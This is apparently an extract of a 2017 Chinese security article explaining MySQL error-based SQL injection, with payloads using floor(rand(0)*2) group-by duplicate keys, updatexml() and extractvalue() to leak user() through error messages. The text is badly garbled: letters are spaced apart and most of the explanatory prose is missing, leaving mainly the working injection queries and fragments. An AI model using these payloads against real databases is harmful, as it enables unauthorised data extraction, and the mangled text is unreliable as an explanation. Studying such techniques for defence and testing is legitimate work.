[20768] 2017-06-03_十种MYSQL显错注入原理讲解(一)

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最后更新:2025-01-18
2017-06-03_十种MYSQL显错注入原理讲解(一) M Y S Q L L e m o n S e c   2 0 1 7 - 0 6 - 0 3 1 c o u n t , r a n d , f l o o r s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( u s e r ( ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x ) a ) ;     c o u n t     r a n d 0 1     f l o o r     s e l e c t   f l o o r ( r a n d ( 0 ) * 2 )   ( 1 0 , ) ,     0 1 1 0 1 1 0 0 . . . . , ,     , c o u n t ( * ) , , , , + 1 , 0 ,                 k e y                     1         k e y                   2         f l o o r ( r a n d ( 0 ) * 2 ) , c o u n t ( * ) , 4 5 , ,     , 3 2 u p d a t e x m l ( ) 3 2 s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) , 1 ) ) ;     u p d a t e x m l X M L     U P D A T E X M L   ( X M L _ d o c u m e n t ,   X P a t h _ s t r i n g ,   n e w _ v a l u e ) ;       X M L _ d o c u m e n t S t r i n g X M L D o c       X P a t h _ s t r i n g   ( X p a t h )   X p a t h       n e w _ v a l u e S t r i n g     c o n c a t :     c o n c a t , u p d a t e x m l X p a t h , 3 e x t r a c t v a l u e ( ) 3 2 s e l e c t   *   f r o m   t e s t   w h e r e   i d = 1   a n d   ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) ) ) ;     e x t r a c t v a l u e ( ) X M L     E X T R A C T V A L U E   ( X M L _ d o c u m e n t ,   X P a t h _ s t r i n g ) ;       X M L _ d o c u m e n t S t r i n g X M L D o c       X P a t h _ s t r i n g   ( X p a t h )     c o n c a t :
    c o n c a t , e x t r a c t v a l u e X p a t h ,
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